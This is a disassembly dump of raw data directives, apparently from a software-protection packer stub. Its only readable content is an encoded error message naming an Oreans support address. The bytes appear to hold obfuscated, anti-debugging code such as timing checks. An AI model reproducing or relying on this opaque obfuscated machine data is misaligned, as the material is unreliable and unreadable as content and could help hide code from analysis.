0BE860h, 0AF470000h, 773258CEh, 21F919B6h, 860FE5h dd 5E000000h, 3800Fh, 8B660000h, 32461C2h, 0FC00AF5h, 20085h dd 148C0F00h, 0E9000000h, 0Fh, 0D28146A2h, 4BE24048h, 34FE8419h dd 8D6542C4h, 0A75EAB5h, 8E9F906h, 3F000000h, 0CAABDA27h dd 8BCB4FEDh, 0A764B85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 2C587858h, 5050F9EDh dd 0F525052h, 85h, 60310F00h, 0F585A61h, 0E9525031h, 14h dd 1C5958FBh, 0EFE955E6h, 23512A09h, 62E0BA56h, 0BA4109Ch dd 6160310Fh, 585A585Ah, 0F9241489h, 244C010Fh, 57006AFEh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 13E90233h, 0B000000h, 0F47F6B9Ch, 34891F19h, 1A112A49h dd 82D79BAFh, 5AF5E66Dh, 21B36060h, 816661FCh, 6143B5D1h dd 6A24C283h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 4358C351h, 36981158h, 4D9940E5h dd 0FC728966h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 3BC35747h, 0FB78C1D4h, 0FAB0C93h, 88Ah, 28A0F00h dd 60000000h, 0CEC1F561h, 56006A10h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0CA1C5D46h dd 3FC40FA8h, 840FF97Eh, 10h, 0A850Fh, 5E90000h, 96000000h dd 3580A040h, 2728966h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 0D4C35242h, 0A7831DE6h, 6A04CDh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0F62A3CC3h, 33DA9F3Dh, 6660609Bh, 66821ABBh, 0F861F78Bh dd 0EE961h, 84AD0000h, 6ECCA542h, 101E5394h, 2923B216h dd 65E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 0FB749A87h, 4B858B5Fh, 60060A76h dd 0FCD6BF0Fh, 0B58DF961h, 60A75EAh, 14870Fh, 0FE90000h dd 0FF000000h, 17EFF72Ah, 0A48B17B0h, 6F419464h, 858D95C0h dd 60A4C79h, 0E9D0FFF9h, 0Ah, 0F61E81DAh, 9D9B6D89h, 858938F7h dd 60A6F85h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 24C35343h, 0E42DC31Ch, 6A613629h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 8CDAC350h dd 0FCB6F12h, 784h, 18A0F00h, 0F9000000h, 6F85858Bh, 0C3F5060Ah dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0B0C35646h dd 60BE602Fh, 58616051h, 61EAD480h, 0BD83F960h, 60A764Bh dd 38850F00h, 60000000h, 5880Fh, 81660000h, 0B4EDDBEBh dd 85C76136h, 60A764Bh, 1013Fh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 97C35242h, 0E93893A7h, 13h dd 0AE8FC60h, 2D000000h, 65D5B306h, 64A3F1BCh, 0CD615B65h dd 20h, 74C00B00h, 0C708D37h, 6F8DBD8Bh, 8B9060Ah, 0A6000000h dd 75492275h, 30488BFAh, 6F899D8Bh, 583B060Ah, 8B157F34h dd 4D26BD3h, 18BCA03h, 6F858589h, 4EB060Ah, 0C5EB008Bh dd 85858B61h, 0CF060A6Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 22C35343h, 7E9h, 0B931EC00h, 0E61B9B0h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0CCC35747h dd 62104A72h, 0CC75476Ch, 13E95Eh, 0FDF10000h, 189387ABh dd 342259E6h, 0EF0C7728h, 357B6012h, 8B6660BFh, 0E961F9F9h dd 10h, 2D2DA2EBh, 0A943F7DEh, 0E5106324h, 0E30F1DBAh dd 0E9C08Bh, 4, 33000000h, 69206E41h, 7265746Eh, 206C616Eh dd 65637865h, 6F697470h, 636F206Eh, 65727563h, 41282064h dd 65726464h, 203A7373h, 78257830h, 500D0A29h, 7361656Ch dd 63202C65h, 61746E6Fh, 73207463h, 6F707075h, 6F407472h dd 6E616572h, 6F632E73h, 54202E6Dh, 6B6E6168h, 756F7920h dd 21h, 0E3h dup(0) dd 56000000h, 45000000h, 0 dd 0E9000000h, 12CFh, 95858BFCh, 0E906071Eh, 0Ah, 73485BA1h dd 0DE9829FEh, 44399F74h, 850F0424h, 0D5h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0F4C35545h, 3793942Eh dd 2AA1BD83h, 0F000607h, 0A884h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 3EF3B246h dd 12BB20E3h, 12E9CC54h, 8A000000h, 0D11621D8h, 32374D21h dd 0DD11F76Ch, 9F20A7DEh, 0EE987h, 0BCB20000h, 639D6F14h dd 642D43DBh, 0EAAF77Fh, 3B24858Dh, 95310607h, 6070C35h dd 0AA59B860h, 14E90088h, 59000000h, 2FAB4549h, 23EA0DB5h dd 673BA2E1h, 0E98CC7EFh, 61A6EE70h, 6AE0FFh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0D284BDC3h dd 68A0F8Dh, 29000000h, 7164195h, 1858B06h, 0E906071Bh dd 0Bh, 0F988298Eh, 0C6273B62h, 39C613A3h, 0F042444h, 4B85h dd 158F0F00h, 60000000h, 0CE9h, 70B6700h, 0C6D89945h, 90D9E24Eh dd 615E570Ah, 7B1585C7h, 1060Ah, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0B500C9C3h dd 0A26B41F8h, 0F83D1FADh, 55006A60h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 201C93CBh dd 2BCDE2FAh, 8E0F71A1h, 0Ch, 6870Fh, 9D890000h, 607124Dh dd 2DE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 0B626E23Dh, 326E97Ah, 90B96660h dd 61A3h, 1B80000h, 87000000h, 0A7CE485h, 75C00B06h, 5B5FFF6h dd 8F06072Ch, 0A7B0D85h, 6A206A06h, 6995FFFFh, 83060720h dd 71FE9BDh, 8740006h, 95FF006Ah, 60716B5h, 126DBD83h dd 74010607h, 80680Dh, 0FF6A0000h, 206995FFh, 6AF90607h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 4F11C352h, 0EC144BCFh, 0F58D2360h, 8B06071Ah dd 7169DBDh, 0BD296106h, 6073229h, 6AC02Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0B94307C3h dd 8BAAA102h, 0E9282454h, 6, 0ED75BEECh, 85893880h, 6072D3Dh dd 2A71B501h, 3CBE0607h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0C373C356h dd 108F1D3Ah, 8529FD71h, 60727EDh, 24247403h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0BBC35242h, 0E83462C8h dd 3FB310A1h, 2458D09h, 0BD290607h, 60732EDh, 0AE9AD66h dd 5E000000h, 90532639h, 0D3738BA4h, 2444039Ch, 0A1B46024h dd 28C0Fh, 61600000h, 60605061h, 800Fh, 0E9610000h, 0Dh dd 9CD20DADh, 0CE196560h, 0E8480A62h, 4896175h, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 9B531DCh, 8B06070Bh, 9E97840h, 0E5000000h, 0D2987D16h dd 67C5BB79h, 7B15BD83h, 0F00060Ah, 17185h, 12E900h, 42370000h dd 0F6781626h, 25E66C73h, 417ADE66h, 0B1465295h, 12E96050h dd 7E000000h, 293515DDh, 86C3DC5h, 110C4133h, 293684h dd 11E8D5h, 0FAEE0000h, 0B00ABAA0h, 5FC2F8E0h, 0FD135090h dd 0F0D2085h, 87h, 89615900h, 6A2404h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0F557EC3h dd 685h, 298D2900h, 8B06071Fh, 6A2C2444h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 1F0C356h dd 7312595h, 840F9006h, 12h, 0DE9h, 0F0817400h, 447E72F8h dd 0DBD4E542h, 60507DA2h, 4ABA5250h, 0F2A7202h, 5AEEB631h dd 0D182B958h, 90610D82h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0FEC35545h, 0B2E94E2Fh, 1525EACh, 0E5BD8914h dd 8D060701h, 0A4D0585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 0DC22B134h, 5E9h, 0B52BD100h dd 6660F1B1h, 66C0F4BFh, 61B9C8BEh, 6AD0FFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 6D41A2C3h dd 90559E3h, 71D618Dh, 0F850F06h, 0E9000000h, 0Ah, 28B97940h dd 0B4CFA02h, 440331EAh, 8BF82824h, 6E91840h, 0F8000000h dd 0D2376DADh, 6A406Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 6755DCC3h, 43A5E3D9h, 7B118589h dd 6A060Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0F0AD0DC3h, 8E8A7314h, 89583D75h, 70B858Dh dd 78708B06h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 26C35747h, 0C683FCF5h, 8996FC1Ch, 712A195h, 247C8106h dd 24h, 0FD870F10h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0B444C355h, 0B9605095h dd 7C3D76E7h, 896191B7h, 820F2404h, 0Ch, 6880Fh, 0B5290000h dd 6070171h, 2824448Bh, 11E9h, 9BE62A00h, 126ADB9Ch, 0DB581D2Dh dd 5E3C5D26h, 8B605322h, 71E019Dh, 0DE906h, 70970000h dd 1624960Ch, 5762FD1Eh, 618A5C75h, 0E9525050h, 11h, 819151A8h dd 0F69BB0EBh, 49C411CCh, 0D5ECA69Ah, 0E9310FF8h, 0Bh dd 2BC48BF7h, 0C1B091FEh, 5A2D423Ch, 24048958h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 6CC35040h, 0E298AD65h dd 32619529h, 80600607h, 0AB4C1C5h, 5858D61h, 89060A4Dh dd 731558Dh, 0FD0FF06h, 0D83h, 8E900h, 70080000h, 44E0CCB7h dd 8B60773Ch, 70E0DB5h, 49B58906h, 6106070Ch, 0AE996h dd 20310000h, 337FC039h, 969A592Eh, 24247403h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 3EC35343h, 0F4CF924Fh dd 982A6629h, 0BD8DFC29h, 6071335h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 8C35545h, 0C3D722BAh, 12E93Eh dd 4FFD0000h, 0AA89FDBh, 0B9F11206h, 0BBCCC0F0h, 5C94B12Eh dd 31558D29h, 6AAD0607h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 0F30CC352h, 8B60BC50h dd 7322585h, 3D850906h, 6106072Ch, 2CB18531h, 7C810607h dd 2424h, 870F1000h, 87h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 0CEC35343h, 0EBA5CC5h, 2D6DF3F7h, 0BE950h dd 7A4F0000h, 0A17A3E58h, 0C9BBCD72h, 24048950h, 24448BF8h dd 0F9BD0928h, 50060732h, 11E95250h, 13000000h, 0A8871A79h dd 9D7A02h, 61EBE039h, 8C4FD8C8h, 5250310Fh, 7E9h, 0EF773100h dd 0B5D9C197h, 6160310Fh, 585A585Ah, 0F9240489h, 4D05858Dh dd 0BD29060Ah, 6070801h, 3F8D0FFh, 6A242444h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 835DC352h, 2AB22767h, 38C0F60h, 66000000h, 8589D08Bh dd 60713ADh dd 14E961h, 0D4750000h, 7826FCABh, 0C0C2CB66h, 98E336EEh dd 64DB6648h, 89ABE25Dh, 709E5B5h, 0FA8106h, 0F000100h dd 85082h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 46ADB3DEh, 23F5555Ah, 0CE9h, 0F6E2AD00h dd 2B50245h, 0A58A98C5h, 51BD8D04h, 6A060716h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0D003C350h, 8890Fh, 8B600000h, 70829B5h, 0E9AD6106h dd 14h, 2832BB00h, 5BE710B5h, 1694106h, 2908D241h, 0A0E3BE32h dd 24247C81h, 10000000h, 10B870Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 0F9C724C3h dd 10E9h, 0E1362C00h, 970A7BFFh, 1D071372h, 0AB70E7Ah dd 8E0F508Bh, 0Eh, 61605250h, 5250310Fh, 585A310Fh, 489585Ah dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 64DFD878h, 0C0EFEA21h, 68C0F15h, 29000000h dd 71729B5h, 24448B06h, 52006A28h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 640AD6E2h, 18B0Fh, 60F80000h dd 3072F2BBh, 0FD858B40h, 6106070Dh, 9AB96050h, 66532D3Fh dd 8961D78Bh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0ADC9AEC3h, 4D05858Dh, 0BE9060Ah dd 1F000000h, 0D9F26Ch, 9341D025h, 0D0FFE452h, 8E960h dd 301C0000h, 9F6096B0h, 31B8FCC7h, 615901E0h, 244403FCh dd 9D296024h, 6072021h, 1E0D9589h, 50610607h, 0E9525060h dd 14h, 3E53B45Ah, 812417C3h, 0B4B93D00h, 0DBC3E248h, 0A39D2FE3h dd 585A310Fh, 61F08B66h, 0F240489h, 681h, 15852900h, 0AB060708h dd 1850FFCh, 0F5000000h, 14DDBD8Dh, 870F0607h, 1, 6AADF8F9h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 7EBAC352h, 0C701F7DCh, 0E927477Eh, 11h, 7369D3AEh dd 41E9EF49h, 5200B06Ah, 0F9891A43h, 247C8131h, 28h, 17870F10h dd 6A000001h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 280DC355h, 38723A16h, 2BB5B529h dd 0E9F90607h, 9, 6393804Eh, 0F057B7B1h, 830F507Eh, 17h dd 12E9h, 39161900h, 32CB76AEh, 920A198h, 461CB915h, 89AB1FEBh dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 55DF4FC3h, 60CB52D8h, 8B61FEB7h, 6A2C2444h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 9B4C351h, 859D89B1h, 0F9060725h, 128C0F50h dd 50000000h, 8B0F52h, 0F000000h, 8D0F31h, 5A000000h, 24048958h dd 5858DFCh, 6A060A4Dh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0F757C356h, 0CC4F1812h dd 0FF422B98h, 50006AD0h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 969EC3F7h, 898FC376h dd 70E2995h, 4403F506h, 6A2824h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 0A253B8C3h, 7C883645h dd 68B0Fh, 8D010000h, 6070E31h, 57006AABh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0AF087828h dd 168E0Fh, 0E8600000h, 9, 0D6196E3h, 99C157DEh, 81665ADCh dd 6167C7F1h, 0FD06B960h, 9E834D4h, 0CF000000h, 0A8A756E6h dd 0A9FAD22h, 1F4D858Bh, 615F0607h, 118DFF5Eh, 83060A7Bh dd 0A7B11BDh, 0A750006h, 0B58DC033h, 60A8AC5h, 0AD56E6FFh dd 28247C81h, 10000000h, 8B500E77h, 502C2444h, 4D05858Dh dd 0D0FF060Ah, 28244403h, 8ADF8B97h, 0A7B0D85h, 74C08406h dd 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h dd 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h dd 973D8D1h, 50413566h, 49F38166h, 75CEFE54h, 33C833EBh dd 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah dd 0C6835E0Fh, 3D85FF04h, 0E906072Dh, 0FFFFFF5Dh, 57006A5Eh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0D42C7131h, 27F09600h, 0E1BD89A5h, 60060711h, 2B19D33h dd 8B660607h, 858961F8h, 60710ADh, 2D3D858Bh, 6A0607h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0D5DC64C3h, 0E81A00A8h, 0B8E0Fh, 66600000h, 5F07C681h dd 0F954B866h, 1850F61h, 0FC000000h, 4C58D89h, 0E0D10607h dd 58D8960h, 60060713h, 295BD33h, 0BE90607h, 0C3000000h dd 7846EB5Fh, 506E1006h, 616168A1h, 0A8E0Fh, 89600000h dd 704C995h, 61616006h, 14DD8503h, 6A0607h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 49FE93C3h dd 0A5F4AB8Ch, 0F60F54Eh, 0F08BCFBFh, 0BE61h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 7E947C3h, 3C000000h, 0E372C755h, 6A96AB34h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0D21AC357h, 0BD8B6073h, 60716C9h, 1958589h, 66610607h dd 598509ADh, 0C1060709h, 6A02E0h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 167021C3h, 958977D2h dd 6071CB5h, 13358503h, 6A0607h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 539C93C3h, 0E9724526h dd 9619BDEEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 1BC35747h, 7E9h, 2E8F7B00h, 0A997073Dh, 7C81F8ADh dd 2424h, 870F1000h, 0FCh, 0E9B50B60h, 80060712h, 5061E1D5h dd 0FE9h, 0BA9B7400h, 0C02BA6F3h, 6B6E0D71h, 58164671h dd 6A240489h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 5DDEC350h, 2F899501h, 448B0607h dd 800F2824h, 0Eh, 0B1858B60h, 0F060716h, 87h, 50906100h dd 60525052h, 60310F61h, 0F585A61h, 7E931h, 0BB790000h dd 6C8967C5h, 50585AB4h, 21860Fh, 0E9600000h, 14h, 4B155321h dd 0E05A83BAh, 5C6137C2h, 8241D136h, 0CE6814A7h, 840Fh dd 90610000h, 1DC59501h, 858D0607h, 60A4D05h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 39C35141h, 29F84B43h dd 7149D95h, 4DBD0106h, 0FF06072Ch, 0B360FCD0h, 12E862h dd 0C53E0000h, 13710ECCh, 93A62B0Ch, 67D609h, 0F92BE5A3h dd 615B6160h, 24244403h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 1DC35141h, 0F94C68Eh, 68Fh, 19D0100h dd 89060701h, 291C2444h, 70B8985h, 585C606h, 6072Ch, 7CE485C7h dd 60Ah, 85C70000h, 60A7B15h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0E4C35343h dd 0BFCFE7Ch, 0CE943BAh, 2F000000h, 0B02ACE51h, 642ABA40h dd 0FA593C2h, 18Fh, 6AFC00h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 43DE21C3h, 0A6D7AF86h db 87h byte_530055 db 0A4h, 89h, 85h ; DATA XREF: ___:off_42CC84o ; ___:off_42CC9Co dd 6070229h, 50006A61h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 95314D83h, 6070CD5h, 6A0008C2h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 79FDC352h, 35858BF9h, 6A060713h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 2F0AC350h dd 0C24AF45Ah, 6A4AB189h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 5F58C351h, 0C0553716h dd 0E56D1BFBh, 11E9h, 3D082600h, 8FB3E071h, 0FC498E56h dd 37BC435Ch, 860FE32Bh, 6, 5E58529h, 8B600607h, 725659Dh dd 0D26B6106h, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 6FC2E8FFh, 1D820F3Bh dd 60000000h, 1B198D8Bh, 0FE80607h, 0AE000000h, 29AF5801h dd 0DCC28FDFh, 0F281C1Bh, 61580D44h, 6AC203h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 77474EC3h dd 0DA5C65B5h, 11E952h, 14820000h, 68258845h, 4258BED9h dd 0E5063731h, 0F555F710h, 51006A96h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0ADC2E5E8h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0C35747h dd 0D29EA75Ch, 247C81F8h, 24h, 0EE870F10h, 60000000h, 9E9h dd 2DAA3400h, 15F935E5h, 8589AFE9h, 60730CDh, 0FE99061h dd 0F2000000h, 0B7C4C7F7h, 26971EF0h, 0DF33DE11h, 5050B8A9h dd 0F525052h, 80h, 0F310F00h, 88h, 0F585A00h, 6870F31h dd 0F000000h, 86h, 90585A00h, 24448BF9h, 50006A28h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0AED16D4Fh, 61D49B9Eh, 50506DE3h, 60525052h, 50310F61h dd 5A310F52h, 0F585A58h, 0CB8B6031h, 89585A61h, 830F2404h dd 1, 5858DF8h, 6A060A4Dh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 29EBC353h, 7327185h dd 0C1958906h, 0FF06070Fh, 52006AD0h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0DBDF157Fh dd 0FCC6E9CFh, 6AFFFFh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 8D184CC3h, 0A910885h, 0EE906h, 0E4F20000h dd 6D5272C4h, 0DF537B6h, 0F55B4CAAh, 30358D89h, 50500607h dd 52506052h, 585A310Fh, 7DD276BBh, 310F615Eh, 830F5250h dd 0 dd 850F310Fh, 0 dd 585A585Ah, 6A240489h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0CA8EC353h, 35FF64FCh dd 0 dd 32D5B529h, 48B0607h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 28C46ADDh, 310D9D31h dd 0E9F50607h, 7, 39009D7Ah, 8961EBE0h, 70AF185h, 64FCFC06h dd 2589h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 8A31DFC3h, 0F0437034h, 0BF0F60EAh dd 0F88B66DBh, 4D858D61h, 6A060A8Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0F9B2C352h dd 0C870Fh, 7E90000h, 1000000h, 652C10B4h, 6089BF6Dh, 51006A01h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 329B6C16h, 0E9762048h, 207h, 0CE9h, 33005700h, 0B1C53559h dd 0B03E0E1h, 0E8DB8B53h, 0 dd 46ED815Dh, 0BC060A8Fh, 12FF9Ch, 126DBD83h, 74000607h dd 0DD858B18h, 0C6060706h, 858B0000h, 6070FE1h, 0FF0000C6h dd 707D195h, 0B5FF6006h, 60A7719h, 771D858Dh, 8D50060Ah dd 0A791585h, 95FF5006h, 6072B69h, 610CC483h, 57006AFCh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0E97AB626h, 8DB10326h, 0A7915B5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0DB7FD818h dd 0BD8DA52Fh, 6071771h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 99C35141h, 8098261Ch, 840F003Eh, 8Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 23C35141h dd 0EC6EB4E7h, 8E9h, 0E1C3B000h, 0EEA0EEC2h, 0DE9D6h, 78110000h dd 0F645622Bh, 0E7F49D46h, 0A403DA8Fh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 26C35747h, 6925EB94h, 0E9F8078Dh dd 0FFFFFF8Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 5FC35747h, 90E8BD77h, 0FF20C723h, 0B860h, 0AAF50000h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0B1C35040h dd 6B4E41E5h, 60E19B91h, 0B58B5857h, 60704B5h, 7B861h dd 89600000h, 7150995h, 6890F06h, 0F000000h, 8Bh, 85C76100h dd 6070B8Dh, 1, 2CF98D89h, 8D8D0607h, 6074E1Ch, 72DBD09h dd 0E1FF0607h, 2E59BD89h, 5C8B0607h, 0E8550C24h, 0 dd 12ED815Dh, 8B060A91h, 0B883h, 19858900h, 8D060A77h dd 0A8F3F85h, 0B8838906h, 5D000000h, 0F8C3C033h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 28C35242h, 163AF23Fh dd 0DE960F8h, 68000000h, 0F3379462h, 2BF1542Dh, 0B08BF315h dd 93A4858Dh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0ECE5CAC3h, 51870922h, 0AE9D6h dd 37050000h, 0FCE9707Ah, 49E01FCh, 0F8B0Fh, 0AE90000h dd 0CD000000h, 5C390474h, 0BBAE246Eh, 60605090h, 12E9h dd 7327DE00h, 542CF14Fh, 0E4277936h, 0E09C52DBh, 0E9BC9634h dd 10h, 42B6BE8Fh, 8292E8EFh, 79D8721Ah, 0EACB4E61h, 0D38B6661h dd 24048961h, 25E99D29h, 0FF640607h, 35h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0BD01E505h, 6071BD1h, 258964h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0D6AFC353h, 30E59D89h, 858D0607h, 60A9426h, 1830Fh dd 89F90000h, 0BD890160h, 6072201h, 10E9h, 2DE1D400h, 0B67F1D2Ah dd 0E7DC0E11h, 7FFC3227h, 585C61Fh, 4F06072Ch, 26ADB509h dd 0BD890607h, 6071F15h, 2C0AB168h, 5052509Ch, 8B0F52h dd 0F000000h, 870F31h, 5A000000h, 0F310F58h, 178Bh, 12E900h dd 58760000h, 0EFB658Ah, 2933166h, 39EEED03h, 0D28F6F96h dd 3481585Ah, 0E47E9B24h, 51006A62h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0FFCF8ABh dd 68Bh, 9DBD2900h, 0FF06072Ch, 731ADB5h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 3159EFB9h, 72EA595h, 1F858D06h, 6A060A7Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 53AFC355h, 0E810FCBh, 60000000h, 1BB18533h, 0E8810607h dd 4FF47777h, 6AD0FF61h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 54CEC352h, 6C27F118h dd 5A33EB9Ah, 0A7E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0F001F9Ah, 18Bh, 5C8BFC00h dd 0E8550C24h, 0 dd 0AEED815Dh, 8B060A93h, 71B2D85h, 0AD858906h, 8B060731h dd 71B0185h, 0B1858906h, 8B060713h, 71E9585h, 69858906h dd 0C6060727h, 72C0585h, 85C70006h, 60A7CE4h, 0 dd 9426858Dh, 8389060Ah, 0B8h, 0C3C0335Dh, 25498531h, 5E90607h dd 4F000000h, 7265EB54h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 0E9C35545h, 12FF74BCh, 1F86000h, 7016185h dd 8F646106h, 5, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 8314ECB7h, 0B58904C4h dd 6072791h, 8E861h, 0B3DB0000h, 0ACB00618h, 816680D4h dd 5FCED0E2h, 9E9h, 6F58C100h, 5142B8D1h, 0C7818E8Bh, 64F7h dd 9EE8166h, 1911B938h, 